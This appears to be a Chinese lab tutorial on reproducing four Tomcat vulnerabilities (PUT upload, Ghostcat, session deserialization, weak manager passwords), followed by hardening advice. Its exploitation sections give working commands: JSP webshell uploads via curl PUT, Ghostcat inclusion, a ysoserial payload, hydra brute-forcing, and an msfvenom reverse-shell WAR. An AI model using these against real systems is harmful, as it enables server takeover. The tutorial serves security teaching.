Tomcat漏洞深度复现:从原理到实战的Web安全攻防指南

Tomcat漏洞深度复现:从原理到实战的Web安全攻防指南

1. 项目概述:为什么我们要亲手复现Tomcat漏洞?

在安全圈里混了十几年,我见过太多人把“漏洞复现”挂在嘴边,但真正能静下心来,把环境搭好、把漏洞跑通、把原理吃透的,其实没几个。很多人觉得,看一篇分析文章,知道个CVE编号和影响范围,就算“懂”了。但在我看来,这跟只看菜谱就声称自己会做满汉全席没什么区别。真正的理解,来自于亲手操作,来自于踩坑和排错,来自于亲眼看到攻击链是如何一环扣一环被打通的。

今天,我们就以“Tomcat漏洞复现”这个看似宽泛,实则内涵丰富的主题,进行一次深度实操。Tomcat作为Java Web应用最经典的容器,其历史漏洞就像一部Web安全演进史。从早期的信息泄露、弱口令,到中期的文件包含、反序列化,再到近期的AJP协议、Ghostcat(幽灵猫)等,每一个漏洞背后,都对应着特定版本下的特定配置、特定协议或特定代码逻辑的缺陷。复现它们,不仅仅是为了掌握一个攻击技巧,更是为了深刻理解Tomcat的运行机制、安全边界在哪里被突破,以及作为开发者或运维人员,我们该如何构建更坚固的防线。

这次复现,我们不追求“最全”,而是追求“最深”。我会挑选几个极具代表性、且至今仍有警示意义的Tomcat漏洞,带大家从零开始,搭建靶场环境,一步步分析漏洞原理,完成利用,并最终给出加固方案。整个过程,你会需要用到Kali Linux(或任何你熟悉的渗透测试环境)、一个干净的虚拟机(用于安装存在漏洞的Tomcat版本),以及一颗不怕麻烦、乐于钻研的心。无论你是刚入门的安全爱好者,还是想巩固Web安全知识的开发工程师,这篇笔记都将是一份不可多得的实战手册。

2. 核心漏洞选取与环境搭建策略

面对网络上浩如烟海的Tomcat CVE,盲目复现效率极低。我的策略是,按漏洞类型和影响深度,选取四个经典案例,它们几乎覆盖了Tomcat安全问题的几个主要维度:配置不当导致的信息泄露、协议层面的设计缺陷、以及代码逻辑引发的远程代码执行

2.1 靶场漏洞清单与选型理由

我最终选定复现以下四个漏洞,并简述其核心价值:

  1. CVE-2017-12615 / CVE-2017-12616:Tomcat PUT方法任意文件上传漏洞

    • 影响版本:Tomcat 7.0.0 - 7.0.79(当readonly设置为false时)。
    • 为什么选它:这是“配置安全”的绝佳反面教材。它并非Tomcat代码的致命bug,而是由于管理员不当配置了web.xml,允许了HTTP PUT方法,且未对上传文件名做严格过滤。复现它能让你深刻体会到“默认安全”的重要性以及配置检查清单的必要性。
  2. CVE-2020-1938:Apache Tomcat AJP文件包含/读取漏洞(Ghostcat/幽灵猫)

    • 影响版本:Tomcat 6, 7, 8, 9 多个版本。
    • 为什么选它:这是协议层漏洞的代表。AJP(Apache Jserv Protocol)是Tomcat与前端HTTP服务器(如Apache HTTPD)通信的二进制协议,通常监听在8009端口且仅对本地开放。但若错误地将AJP服务端口暴露在公网,攻击者就能利用此漏洞读取Web应用目录下的任意文件,甚至在某些条件下实现远程代码执行。它揭示了“内部服务外部化”带来的巨大风险。
  3. CVE-2020-9484:Tomcat Session持久化反序列化漏洞

    • 影响版本:Tomcat 10.x < 10.0.0-M5, 9.x < 9.0.35, 8.x < 8.5.55, 7.x < 7.0.104。
    • 为什么选它:这是“反序列化”漏洞在Tomcat场景下的典型应用。当Tomcat配置了使用FileStore进行Session持久化,并且攻击者能够控制文件名和文件内容时,就可能触发反序列化导致RCE。这个漏洞将反序列化这一抽象概念,与一个具体的、可配置的Tomcat功能点联系了起来,极具教学意义。
  4. 弱口令与后台部署War包Getshell

    • 这不是一个CVE,但却是现实中最高发的Tomcat入侵方式。
    • 为什么选它:抛开复杂的漏洞利用,最原始的“弱口令”依然是渗透测试中的突破口。Tomcat Manager或Host Manager应用的管理后台,如果使用默认或弱密码,攻击者可直接上传包含恶意代码的WAR包,瞬间获得服务器控制权。复现这个过程,是对“安全左移”和“最小权限原则”最直接的呼唤。

2.2 漏洞环境搭建实操

复现漏洞的第一步,是搭建一个“干净”且“精准”的漏洞环境。我强烈建议使用虚拟机(如VirtualBox + VMware)配合Docker来完成,这样可以快速重置,避免污染宿主机。

2.2.1 使用Docker快速搭建靶场

Docker是漏洞复现的利器。这里以CVE-2020-1938 (Ghostcat)为例:

# 搜索现有的漏洞环境镜像 docker search tomcat vulhub # 假设我们使用 vulhub 项目中的镜像(这是一个著名的漏洞环境集合) # 首先拉取 vulhub 的 Tomcat 环境(需要先git clone vulhub项目,这里以直接运行为例) # 进入 vulhub/tomcat/CVE-2020-1938 目录 cd vulhub/tomcat/CVE-2020-1938 # 启动漏洞环境 docker-compose up -d # 查看容器运行状态及映射端口 docker ps

通常,上述命令会启动一个包含漏洞的Tomcat 8.5.x版本,并将8080(HTTP)和8009(AJP)端口映射到宿主机。

注意:使用第三方漏洞环境集(如vulhub、vulapps)非常方便,但务必在隔离的网络环境中进行。切勿在连接公网或公司内网的机器上运行这些容器。

2.2.2 手动编译安装特定版本Tomcat

对于想深入研究版本差异或Docker镜像不满足需求的情况,需要手动安装。以下是在Ubuntu系统上安装Tomcat 7.0.79(用于复现PUT漏洞)的步骤:

# 1. 安装Java环境(以OpenJDK 8为例) sudo apt update sudo apt install openjdk-8-jdk -y java -version # 验证安装 # 2. 下载指定版本的Tomcat wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.79/bin/apache-tomcat-7.0.79.tar.gz # 3. 解压到指定目录 tar -xzf apache-tomcat-7.0.79.tar.gz -C /opt/ sudo mv /opt/apache-tomcat-7.0.79 /opt/tomcat-7.0.79 # 4. 创建专用用户并授权(安全最佳实践) sudo useradd -r -m -U -d /opt/tomcat-7.0.79 -s /bin/false tomcat sudo chown -R tomcat: /opt/tomcat-7.0.79 # 5. 修改配置以启用PUT方法(制造漏洞条件) # 编辑 /opt/tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml # 找到 DefaultServlet 的配置,将 readonly 参数设置为 false # 原始配置通常为: # <init-param> # <param-name>readonly</param-name> # <param-value>true</param-value> # </init-param> # 修改为: # <init-param> # <param-name>readonly</param-name> # <param-value>false</param-value> # </init-param> # 6. 启动Tomcat cd /opt/tomcat-7.0.79/bin ./startup.sh # 7. 验证 curl http://localhost:8080/

实操心得:手动搭建时,务必记录下每一步的修改。特别是配置文件的变更,这本身就是漏洞成因的一部分。建议使用git初始化你的Tomcat目录,每次修改前先提交,这样能清晰回溯漏洞引入的“现场”。

3. 漏洞原理深度解析与复现过程

环境就绪后,我们进入核心环节:理解漏洞如何产生,并亲手触发它。

3.1 CVE-2017-12615:PUT方法任意文件上传

3.1.1 漏洞原理拆解

Tomcat的DefaultServlet负责处理静态资源。它提供了一个readonly初始化参数,默认为true,此时仅允许GET、HEAD、OPTIONS请求。当管理员显式地将其设置为false时,便允许了PUT、DELETE等方法。问题在于,Tomcat在7.0.79及之前版本,对通过PUT请求上传的文件名处理存在缺陷。攻击者可以通过在文件名末尾添加斜杠/、或添加::$DATA等Windows流特性字符串(在Windows服务器上),来绕过Tomcat对文件后缀的检查,最终将包含恶意代码的JSP文件上传到服务器。

3.1.2 复现操作记录

假设靶场地址为http://192.168.1.100:8080

  1. 探测漏洞是否存在:尝试发送一个PUT请求。

    curl -X PUT http://192.168.1.100:8080/test.txt -d "hello vuln"

    如果返回201 Created,说明PUT方法被允许,漏洞可能存在。

  2. 利用文件名绕过:尝试上传一个JSP木马。

    # 方法1:使用斜杠(/)绕过 curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d '<% out.println("Hello, Vuln!"); %>' # 方法2(Windows靶机):使用::$DATA绕过 curl -X PUT http://192.168.1.100:8080/shell.jsp::$DATA -d '<% Runtime.getRuntime().exec("calc"); %>'

    在Linux下,第一种方法可能成功,上传的文件名实际为shell.jsp(Tomcat错误处理了尾部的/)。访问http://192.168.1.100:8080/shell.jsp,如果看到输出或弹出计算器,则复现成功。

  3. 上传Webshell:使用更强大的JSP Webshell,如冰蝎或哥斯拉的JSP版本,获取服务器控制权。

    # 将webshell.jsp内容写入文件,然后PUT上传 curl -X PUT http://192.168.1.100:8080/behinder.jsp/ --data-binary @behinder.jsp

注意事项:此漏洞的利用成功率高度依赖于操作系统和具体版本。复现时可能会遇到各种问题,比如返回403409。这时需要结合Tomcat的日志(logs/catalina.out)进行调试,查看Tomcat到底是如何处理你的请求的。日志是漏洞复现过程中最好的“老师”。

3.2 CVE-2020-1938:Ghostcat AJP文件包含

3.2.1 漏洞原理拆解

AJP协议是Tomcat与前端HTTP服务器通信的“内部语言”,效率高于HTTP。AJP Connector默认监听localhost:8009。漏洞存在于AJP协议处理请求属性的过程中。攻击者可以构造一个恶意的AJP请求,设置javax.servlet.include.request_urijavax.servlet.include.path_info等请求属性,从而让Tomcat将Web应用目录下的任意文件(如WEB-INF/web.xml)的内容包含到响应中返回。由于WEB-INF目录通常存放配置文件、类文件和库文件,泄露这些信息可能导致严重的安全风险,例如数据库密码泄露。在特定条件下(如目标应用允许上传文件到指定目录),结合文件上传,甚至可能实现远程代码执行。

3.2.2 复现操作记录

这里我们使用公开的PoC工具进行复现,例如ghostcat.py

  1. 环境确认:确保靶机Tomcat的8009端口可访问(如果是Docker环境,通常已映射到宿主机某个端口,如18009)。

    nmap -sV -p 8009,18009 192.168.1.100
  2. 使用PoC脚本读取文件

    # 下载或使用已有的ghostcat.py脚本 python3 ghostcat.py 192.168.1.100 8009 /WEB-INF/web.xml

    如果漏洞存在,脚本会通过AJP协议连接到目标,并返回web.xml文件的内容。

  3. 深入利用——文件包含RCE: 如果目标应用存在文件上传功能,且你知道上传文件的路径,可以利用此漏洞包含上传的JSP文件,执行代码。例如,假设你通过其他方式上传了一个shell.jsp/upload/目录。

    # 尝试通过AJP包含并执行上传的JSP文件 # 这需要构造特定的AJP请求,将`javax.servlet.include.path_info`指向`/upload/shell.jsp` # 许多公开的EXP工具已经集成了此功能。 python3 ghostcat.py --attack 192.168.1.100 8009 /upload/shell.jsp

排查技巧实录:如果PoC脚本连接失败,首先检查网络连通性和防火墙规则。其次,确认Tomcat的server.xml中AJP Connector是否启用(默认是注释掉的)。如果是Docker环境,检查端口映射是否正确。最后,查看Tomcat的AJP相关日志(logs/localhost_access_log.*.txtcatalina.out),看是否有连接记录和错误信息。

3.3 CVE-2020-9484:Session持久化反序列化

3.3.1 漏洞原理拆解

Tomcat支持将Session序列化后存储到磁盘(FileStore)或数据库(JDBCStore),以实现Session集群或持久化。当配置了Managerpathname属性时,Tomcat会从指定目录读取Session文件。漏洞在于,反序列化Session数据时,未对文件内容进行有效性验证。如果攻击者能够将恶意序列化数据写入到pathname目录下(例如,通过文件上传漏洞),并且能够预测或控制Session文件名(通常与Session ID相关),那么当下一个请求使用该Session ID时,Tomcat就会自动反序列化恶意文件,从而执行攻击代码。

3.3.2 复现操作记录

此漏洞复现条件较为苛刻,需要精准配置和利用链,是进阶挑战。

  1. 配置漏洞环境:在Tomcat的conf/context.xml中启用FileStore

    <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" directory="/tmp/tomcat_sessions"/> </Manager>

    重启Tomcat,确保/tmp/tomcat_sessions目录存在且Tomcat有写入权限。

  2. 生成恶意序列化数据:使用ysoserial等工具生成一个利用链(例如CommonsCollections2)的Payload,触发命令执行。

    java -jar ysoserial.jar CommonsCollections2 "touch /tmp/success" > malicious.session

    这个malicious.session文件内容就是恶意的序列化对象。

  3. 写入恶意Session文件:关键一步是让Tomcat加载这个文件。Session文件名格式通常为[sessionid].session。你需要通过某种方式(比如另一个文件上传漏洞)将malicious.session文件上传到/tmp/tomcat_sessions/目录,并将其重命名为一个有效的Session ID文件名,例如ABCDEF123456.session

  4. 触发漏洞:使用浏览器或curl,携带相同的Session ID(JSESSIONID=ABCDEF123456)去访问该Tomcat上的任何一个应用。Tomcat在处理请求时,会尝试从/tmp/tomcat_sessions/加载ABCDEF123456.session文件并进行反序列化,从而执行touch /tmp/success命令。检查/tmp/success文件是否被创建,即可验证漏洞。

常见问题:复现失败最常见的原因是类路径问题ysoserial生成的Payload依赖于特定的第三方库(如commons-collections)。你的靶场Tomcat的Web应用WEB-INF/lib目录下必须存在相应版本的库,反序列化才能成功。你需要根据目标环境调整利用链(CommonsCollections2/3/4,BeanShell1等)和库版本。这需要你对Java反序列化利用链有深入理解。

3.4 弱口令与后台Getshell

3.4.1 漏洞原理拆解

这与其说是一个漏洞,不如说是一种致命的安全疏忽。Tomcat安装后,默认提供manager/html(管理应用)和host-manager/html(管理虚拟主机)两个Web应用。这些应用有默认的用户角色和密码(如早期版本中tomcat/tomcat,或admin/空密码),但很多管理员在部署后并未修改或禁用它们。攻击者通过暴力破解或使用默认凭证登录后,就拥有了直接部署WAR包(即Web应用归档文件)的权限。将一个包含后门的WAR包部署到服务器,就等于获得了整个Tomcat进程权限下的命令执行能力。

3.4.2 复现操作记录

  1. 发现与探测

    # 使用浏览器访问 http://192.168.1.100:8080/manager/html http://192.168.1.100:8080/host-manager/html

    如果弹出登录框,说明后台存在。

  2. 暴力破解/默认口令尝试: 使用hydraburpsuite等工具进行爆破,或尝试常见弱口令。

    hydra -l tomcat -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-get /manager/html

    也可以手动尝试:tomcat/tomcat,admin/admin,admin/空密码,role1/role1等。

  3. 制作恶意WAR包: 使用msfvenom生成一个简单的JSP木马WAR包。

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=你的攻击机IP LPORT=4444 -f war -o shell.war

    或者,手动创建一个包含JSP Webshell的WAR包结构:

    shell.war └── shell.jsp

    使用jar命令打包:jar -cvf shell.war shell.jsp

  4. 登录并部署: 成功登录manager/html后,在“WAR file to deploy”区域,选择制作好的shell.war文件,点击“Deploy”。Tomcat会自动解压并部署该应用。

  5. 访问Webshell: 部署成功后,应用通常会有一个上下文路径(Context Path),可能就是/shell。访问http://192.168.1.100:8080/shell/shell.jsp,你的反向Shell应该会连接到攻击机的4444端口(如果使用msfvenompayload)。

加固心得:这是最简单也最应避免的入侵方式。生产环境中,必须执行以下操作:

  1. 删除或重命名默认的managerhost-manager应用目录(webapps/manager,webapps/host-manager)。
  2. 如果确实需要远程管理,修改conf/tomcat-users.xml,使用强密码,并仅授予最小必要权限(如manager-gui仅用于查看,manager-script用于API部署)。
  3. 通过防火墙或Tomcat的RemoteAddrValve限制管理后台的访问IP来源。

4. 漏洞修复与安全加固指南

复现漏洞是为了更好地防御。针对上述漏洞,以下是对应的修复方案和通用的Tomcat安全加固建议。

4.1 针对性修复方案

漏洞根本原因修复方案
CVE-2017-12615/16配置不当 + 文件名解析缺陷1.升级Tomcat至7.0.81+ / 8.5.24+ / 9.0.0.M18+,这些版本修复了解析缺陷。
2.检查配置:确保所有应用的web.xml中,DefaultServletreadonly参数为true(默认值)。
3.删除或注释web.xml中显式设置readonlyfalse的配置。
CVE-2020-1938AJP协议设计缺陷 + 服务暴露1.升级Tomcat至9.0.31+, 8.5.51+, 7.0.100+。
2.最有效方案:如果未使用AJP协议(例如,Tomcat独立运行或通过HTTP Connector与Nginx配合),**直接在server.xml中注释掉或删除<Connector port="8009" protocol="AJP/1.3" ... />**这一行。
3.必须使用AJP时:将AJP Connector的监听地址绑定到127.0.0.1(默认即是),并通过防火墙严格确保8009端口不对外网开放。使用secret属性设置AJP连接密钥。
CVE-2020-9484Session反序列化未校验1.升级Tomcat至10.0.0-M5+, 9.0.35+, 8.5.55+, 7.0.104+。
2.评估必要性:除非确需Session持久化,否则不要配置PersistentManager
3.如果必须使用:确保FileStoredirectory路径权限严格,仅Tomcat用户可写。考虑使用JDBCStore并做好数据库安全防护。
弱口令后台默认/弱凭证 + 功能暴露1.禁用或移除:生产环境非必要不安装managerhost-manager应用。
2.强密码与权限:在tomcat-users.xml中配置复杂密码,按需分配manager-*角色。
3.访问控制:在managerhost-manager应用的web.xml中配置RemoteAddrValve,限制访问IP。

4.2 通用安全加固清单

除了修复特定漏洞,建立常态化的安全配置习惯更为重要。

  1. 版本与更新

    • 定期关注Apache Tomcat官方安全公告。
    • 建立流程,及时为生产环境打上安全补丁或升级到稳定版本。
  2. 权限最小化

    • 使用非root用户(如tomcat)运行Tomcat进程。
    • 严格控制Tomcat安装目录、日志目录、工作目录的文件权限,遵循“最小权限原则”。
  3. 配置强化

    • server.xml:移除或注释掉不必要的Connector;设置maxPostSize防止DoS;启用SSL并禁用低版本协议(如SSLv2, SSLv3);考虑设置allowTrace="false"
    • web.xml:为应用配置全局安全约束(<security-constraint>);设置合理的会话超时时间;禁用目录列表(<init-param><param-name>listings</param-name><param-value>false</param-value></init-param>)。
    • 应用自身:移除调试信息、版本信息;对上传文件进行重命名、内容校验;对用户输入进行严格的过滤和转义。
  4. 日志与监控

    • 启用并定期审查Tomcat访问日志(localhost_access_log.*.txt)和应用日志(catalina.out,*.log)。
    • 配置日志轮转,避免磁盘写满。使用日志分析工具(如ELK)监控异常请求,如大量404、401、500错误,或特定的攻击路径扫描。
  5. 网络层面

    • 使用防火墙将Tomcat服务器置于DMZ区,仅开放必要的业务端口(如80/443)给公网。
    • 在前端部署WAF(Web应用防火墙),过滤常见Web攻击流量。

5. 复现过程中的深度思考与工具链

漏洞复现不是一次性的任务,而是一种需要沉淀的方法论。在完成上述操作后,我有几点更深的体会想分享。

5.1 工具不是黑盒,理解其原理

在复现Ghostcat时,我们用了ghostcat.py。一个合格的复现者,不应该只满足于运行脚本看到结果。你应该打开这个Python脚本,看看它是如何构造AJP协议数据包的。AJP协议有公开的协议规范,尝试用Wireshark抓取一次正常的AJP通信(比如Tomcat与Apache HTTPD之间),再对比攻击脚本发送的数据包,你就能真正看懂javax.servlet.include.request_uri这个属性是如何被设置和传递的。这个过程能极大提升你对协议级漏洞的理解。

5.2 搭建自己的漏洞研究环境

依赖现成的Docker镜像虽然方便,但不利于深入学习。我建议在本地虚拟机里维护一个“黄金镜像”库,里面安装好各种版本的Tomcat(6.0, 7.0, 8.5, 9.0, 10.0)、JDK(6, 7, 8, 11)以及常见的Web应用(如一些存在漏洞的旧版CMS)。为每个环境做好快照。当遇到一个新的CVE时,先尝试在自己的环境里手动配置和复现,这个过程能帮你理清漏洞的依赖条件,这是直接运行一键脚本无法获得的经验。

5.3 从复现到挖掘的思维转变

复现的终极目的,是培养自己发现漏洞的眼光。例如,通过复现PUT上传漏洞,你应该思考:Tomcat处理文件上传的完整流程是什么?除了readonly参数,还有哪些配置会影响文件上传?其他Servlet或Filter有没有类似问题?通过复现Ghostcat,你应该思考:除了AJP,Tomcat还有哪些“内部”协议或接口?它们是否也可能因为错误暴露而带来风险?这种举一反三的思维,是安全研究员与脚本小子的分水岭。

5.4 构建自动化验证脚本

当你对某个漏洞的理解足够深入后,可以尝试编写自己的简易验证脚本。不是为了替代现有工具,而是为了固化你的知识。例如,写一个Python脚本,自动检测目标Tomcat是否启用了PUT方法,并尝试几种常见的绕过技巧。这个脚本可能很简陋,但它在编写过程中强迫你处理网络连接、HTTP头构造、异常处理等细节,这些能力是通用的。

最后,安全是一个动态对抗的过程。今天安全的配置,明天可能因为一个新特性而出现隐患。保持好奇心,保持动手的习惯,定期回顾和测试你的系统,才是应对层出不穷的漏洞最根本的方法。这次对Tomcat漏洞的深度复现之旅,希望能为你打开一扇门,门后是更广阔的Web安全实战世界。记住,所有的理论,最终都要落到curl的那一行命令、那一次请求的响应和那一行日志上。